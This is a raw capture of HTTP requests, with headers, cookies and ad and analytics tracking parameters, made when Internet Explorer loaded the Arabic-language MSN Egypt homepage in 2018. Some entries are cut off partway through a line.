Cookie: MR=0; PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; ocid=iehp

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPcvSe.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/BBPcvSe.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://c.bing.com/c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0&CtsSyncId=3FD03C6C8C6F47C3930D7B27FF53CEB1&RedC=c.msn.com&MXFR=0DACC1BA7F8E61DB2C93CDCD7E3960C2&ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF%26E=15cf%26W=1&NAP=V=1.9%26E=1575%26C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g%26W=1
GET /c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0&CtsSyncId=3FD03C6C8C6F47C3930D7B27FF53CEB1&RedC=c.msn.com&MXFR=0DACC1BA7F8E61DB2C93CDCD7E3960C2&ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF%26E=15cf%26W=1&NAP=V=1.9%26E=1575%26C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g%26W=1 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; MR=0; SRM_B=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRM_M=0DACC1BA7F8E61DB2C93CDCD7E3960C2; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRA_B=46C6EB2CABC3D9CDC8B6293CFFFFFFFF; SRA_M=46C6EB2CABC3D9CDC8B6293CFFFFFFFF
Connection: Keep-Alive
Host: c.bing.com

http://c.msn.com/c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0&CtsSyncId=3FD03C6C8C6F47C3930D7B27FF53CEB1&MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2&ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF%26E=15cf%26W=1&NAP=V=1.9%26E=1575%26C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g%26W=1
GET /c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0&CtsSyncId=3FD03C6C8C6F47C3930D7B27FF53CEB1&MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2&ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF%26E=15cf%26W=1&NAP=V=1.9%26E=1575%26C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g%26W=1 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Cookie: MR=0; SM=T; PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; ocid=iehp
Connection: Keep-Alive
Host: c.msn.com
DNT: 1

http://m.adnxs.com/ut/v3
POST /ut/v3 HTTP/1.1
Accept: */*
Content-Type: text/plain
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: m.adnxs.com
Content-Length: 1783
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: icu=ChgImswnEAoYBCAEKAQw85jr3gU4BEAESAQQ85jr3gUYAw..; uuid2=3420843456506940071; anj=dTM7k!M4/CT(6e*8tD_>CQ8Eo2iPfa`<><f%hXuPhK)0Pg>KOYY/=])rgZmf+.llq0fT#a0perDQnd9N/w1gU7LtxJD'ieQ1S%2R?)DDr+)`t*Wu(WPNhF_kh`ZS!EmQJIojL1_i=f'cmv.N+[V20F^y6X2`>#%/P6O:#OP7cG$#*0HJ*0w!lLUnd5ez@ZM)g$48=5qUv?@J6EGP?aPcd8@JEOmN65]K^bx)D*0A(AW6cTqs-a[aPKSGCP10^IZq9D=Q6m%!Q*p4.0O'`Wb)'HzXs[WFGS<.VdN.ZXsD=]cJa[5l:CGKzO+G9GIQn2myWDXN/WHtn(rpp>X:y)K9%3q/x/aZ_hW6mf`0f0M+AZe6BYsde+FiyorGnm>uI*sY<CoSl=Q)ixBZ:ZJ+CldvZ%2]Ta=%88D!JzCa=@g[O+8e#nXTM*X6A_unD6Ec==`/M*Aqbf5rM)cd6trFv8vv^993v`YfTY?t5I8ci0rD+69AmK]1hCJ>mPOCGP<CAK418K>.z[2pA]%BLNayW*')4=^Geo]DnH:ZP!p/K)=IsR]gb0g84sQg$0s:Af^@/g3Vd=Wy#pajG2A*)I%T+A`oU'-zhi.ag'm?rZcQ>rtW*N3HLM=>tdkEA:'E/>VBG1^C0SABCL!Vwrw4Zl>=aTCu`8Jj=ogqV-g5MvcKPq.yn)HsPe5vc:R'_z1'my]>t*%x-DF76C:3[YWE8pkb.J^BtH.lrDsLjeeNSMh5Sk%<N45YD9b[HSP[88_As$rO59!Q0AfLamUb=mCwOW<ubdXMOpnFv<UI8HQzTzXa6t.'(U.vK0:$S^WUN`%<#q%-chotjb=EZAZTu-BEA.EKbf/hSsX5/lt#95wY=hL^XMglTc:pGj.xOg^AMkfQ*8u@CV7lTYpcj)u6-kszqT^kp2UBfeUuTW73r8#GZ`:Y/X/<+od*20vhjINB3WsCF('Y?Y4fM0]4`0BKgpT'qi@%iKmh12@8(0jEp[<27zNj
http://m.adnxs.com/ut/v3
POST /ut/v3 HTTP/1.1
Accept: */*
Content-Type: text/plain
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: m.adnxs.com
Content-Length: 916
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: icu=ChgImswnEAoYBCAEKAQw85jr3gU4BEAESAQQ85jr3gUYAw..; uuid2=3420843456506940071; anj=dTM7k!M4/CT(6e*8tD_>CQ8Eo2iPfa`<><f%hXuPhK)0Pg>KOYY/=])rgZmf+.llq0fT#a0perDQnd9N/w1gU7LtxJD'ieQ1S%2R?)DDr+)`t*Wu(WPNhF_kh`ZS!EmQJIojL1_i=f'cmv.N+[V20F^y6X2`>#%/P6O:#OP7cG$#*0HJ*0w!lLUnd5ez@ZM)g$48=5qUv?@J6EGP?aPcd8@JEOmN65]K^bx)D*0A(AW6cTqs-a[aPKSGCP10^IZq9D=Q6m%!Q*p4.0O'`Wb)'HzXs[WFGS<.VdN.ZXsD=]cJa[5l:CGKzO+G9GIQn2myWDXN/WHtn(rpp>X:y)K9%3q/x/aZ_hW6mf`0f0M+AZe6BYsde+FiyorGnm>uI*sY<CoSl=Q)ixBZ:ZJ+CldvZ%2]Ta=%88D!JzCa=@g[O+8e#nXTM*X6A_unD6Ec==`/M*Aqbf5rM)cd6trFv8vv^993v`YfTY?t5I8ci0rD+69AmK]1hCJ>mPOCGP<CAK418K>.z[2pA]%BLNayW*')4=^Geo]DnH:ZP!p/K)=IsR]gb0g84sQg$0s:Af^@/g3Vd=Wy#pajG2A*)I%T+A`oU'-zhi.ag'm?rZcQ>rtW*N3HLM=>tdkEA:'E/>VBG1^C0SABCL!Vwrw4Zl>=aTCu`8Jj=ogqV-g5MvcKPq.yn)HsPe5vc:R'_z1'my]>t*%x-DF76C:3[YWE8pkb.J^BtH.lrDsLjeeNSMh5Sk%<N45YD9b[HSP[88_As$rO59!Q0AfLamUb=mCwOW<ubdXMOpnFv<UI8HQzTzXa6t.'(U.vK0:$S^WUN`%<#q%-chotjb=EZAZTu-BEA.EKbf/hSsX5/lt#95wY=hL^XMglTc:pGj.xOg^AMkfQ*8u@CV7lTYpcj)u6-kszqT^kp2UBfeUuTW73r8#GZ`:Y/X/<+od*20vhjINB3WsCF('Y?Y4fM0]4`0BKgpT'qi@%iKmh12@8(0jEp[<27zNj9
http://eb2.3lift.com/mapuid?suid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&sid=16
GET /mapuid?suid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&sid=16 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: eb2.3lift.com
DNT: 1
Connection: Keep-Alive
Cookie: tluid=8506275162654651825

http://otf.msn.com/c.gif?evt=impr&js=1&rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071409011&idx=1&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&rf=&cu=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&scr=1440x900&bh=806&bw=1440&dv.Title1=MSN+%D8%B4%D9%85%D8%A7%D9%84+%D8%A3%D9%81%D8%B1%D9%8A%D9%82%D9%8A%D8%A7+%7C+Hotmail%2C+Outlook%2C+Skype%2C+%D8%A2%D8%AE%D8%B1+%D8%A7%D9%84%D8%A3%D8%AE%D8%A8%D8%A7%D8%B1&viewType=size4column&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&st.dpt=&st.sdpt=&cv.partner=&cv.publcat=&cv.author=&cv.entityId=&cv.entitySrc=&cv.parentId=&provid=&ar=0&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&tmpl=EAggMo%3A0%3BIP%3ANone%3BRV%3ANone%3Binfopane%3A0%3Bcat%3A0%3BEP%3A0%3BCI%3A1%3BmIpH%3A2%3BmRvH%3A2&isStaticPage=False&pgIdx=&pgTot=&pp=False&pb=%7B%7D
GET /c.gif?evt=impr&js=1&rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071409011&idx=1&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&rf=&cu=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&scr=1440x900&bh=806&bw=1440&dv.Title1=MSN+%D8%B4%D9%85%D8%A7%D9%84+%D8%A3%D9%81%D8%B1%D9%8A%D9%82%D9%8A%D8%A7+%7C+Hotmail%2C+Outlook%2C+Skype%2C+%D8%A2%D8%AE%D8%B1+%D8%A7%D9%84%D8%A3%D8%AE%D8%A8%D8%A7%D8%B1&viewType=size4column&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&st.dpt=&st.sdpt=&cv.partner=&cv.publcat=&cv.author=&cv.entityId=&cv.entitySrc=&cv.parentId=&provid=&ar=0&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&tmpl=EAggMo%3A0%3BIP%3ANone%3BRV%3ANone%3Binfopane%3A0%3Bcat%3A0%3BEP%3A0%3BCI%3A1%3BmIpH%3A2%3BmRvH%3A2&isStaticPage=False&pgIdx=&pgTot=&pp=False&pb=%7B%7D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: otf.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI
http://static.chartbeat.com/js/chartbeat.js
GET /js/chartbeat.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static.chartbeat.com
If-Modified-Since: Thu, 04 Oct 2018 02:34:22 GMT
DNT: 1
Connection: Keep-Alive

http://www.msn.com/ar-eg/homepage/npsajax?ver=20181027_12592070
GET /ar-eg/homepage/npsajax?ver=20181027_12592070 HTTP/1.1
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: www.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; ocid=iehp; _cb_ls=1; _cb=BxpdvuD1Une9GQiG4; _chartbeat2=.1538054409356.1541065733200.1000000000000001.DC-lvhGdCc8BxHYZwCUQCNkDMFno0.1; banner:northafricaredirect:lastseen=Thu, 01 Nov 2018 09:48:55 GMT; banner:northafricaredirect:count=2; timeZoneOffsetInMins=0; adoptout={"msaOptOut":0,"adIdOptOut":0}

http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 5282
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
GET /pagead/js/adsbygoogle.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: pagead2.googlesyndication.com
If-None-Match: 4358303211505216349
DNT: 1
Connection: Keep-Alive

http://pagead2.googlesyndication.com/pagead/show_ads.js
GET /pagead/show_ads.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: pagead2.googlesyndication.com
If-None-Match: 14435613632444250892
DNT: 1
Connection: Keep-Alive

http://ping.chartbeat.net/ping?h=ar-eg.msn.com&p=%2Far-eg&u=BxpdvuD1Une9GQiG4&d=msn.com&g=42635&g0=homepage&g1=No%20Author&n=0&f=f8001&c=0&x=0&m=0&y=1297&o=1423&w=806&j=45&R=1&W=0&I=0&E=0&e=0&r=&b=781&t=CD6UctBMiBSiCZFY8hT_29H_0Te8&V=109&i=MSN%20%D8%B4%D9%85%D8%A7%D9%84%20%D8%A3%D9%81%D8%B1%D9%8A%D9%82%D9%8A%D8%A7%20%7C%20Hotmail%2C%20Outlook%2C%20Skype%2C%20%D8%A2%D8%AE%D8%B1%20%D8%A7%D9%84%D8%A3%D8%AE%D8%A8%D8%A7%D8%B1&tz=0&_cdname=neurope&sn=1&sv=vcY0_BODKVMDad6xiNEMuIPVX6Z&sd=1&im=04032ef0&_
GET /ping?h=ar-eg.msn.com&p=%2Far-eg&u=BxpdvuD1Une9GQiG4&d=msn.com&g=42635&g0=homepage&g1=No%20Author&n=0&f=f8001&c=0&x=0&m=0&y=1297&o=1423&w=806&j=45&R=1&W=0&I=0&E=0&e=0&r=&b=781&t=CD6UctBMiBSiCZFY8hT_29H_0Te8&V=109&i=MSN%20%D8%B4%D9%85%D8%A7%D9%84%20%D8%A3%D9%81%D8%B1%D9%8A%D9%82%D9%8A%D8%A7%20%7C%20Hotmail%2C%20Outlook%2C%20Skype%2C%20%D8%A2%D8%AE%D8%B1%20%D8%A7%D9%84%D8%A3%D8%AE%D8%A8%D8%A7%D8%B1&tz=0&_cdname=neurope&sn=1&sv=vcY0_BODKVMDad6xiNEMuIPVX6Z&sd=1&im=04032ef0&_ HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ping.chartbeat.net
DNT: 1
Connection: Keep-Alive

http://37.252.172.70/it?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QKBCKABBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FAlhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzw_LICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocIADAIgDAZAD--QemAMXoAMBqgMAwAOsAsgDANgD0O6hAeADAOgDAPgDAYAEAJIEBi91dC92M5gEAKIEDTE5Ni4xMy4xMDguMTKoBOuIA7IEEAgFEAQYrAIg-gEoAjAAOAK4BADABADIBADSBA45NjAzI0ZSQTE6MzcxMNoEAggB4AQB8AT154Q4iAUBmAUAoAX___________8BwAUAyQUAAAAAAADwP9IFCQkJDJwAANgFAeAFAfAFAfoFBAgAEACQBgCYBgC4BgDBBgAAAAAAAPA_yAYA&s=8e8ddc2497bc10ae3ec60fe404114850e7ff649b
GET /it?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QKBCKABBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FAlhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzw_LICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocIADAIgDAZAD--QemAMXoAMBqgMAwAOsAsgDANgD0O6hAeADAOgDAPgDAYAEAJIEBi91dC92M5gEAKIEDTE5Ni4xMy4xMDguMTKoBOuIA7IEEAgFEAQYrAIg-gEoAjAAOAK4BADABADIBADSBA45NjAzI0ZSQTE6MzcxMNoEAggB4AQB8AT154Q4iAUBmAUAoAX___________8BwAUAyQUAAAAAAADwP9IFCQkJDJwAANgFAeAFAfAFAfoFBAgAEACQBgCYBgC4BgDBBgAAAAAAAPA_yAYA&s=8e8ddc2497bc10ae3ec60fe404114850e7ff649b HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.c
http://37.252.172.70/rd_log?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLNCaDNBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FA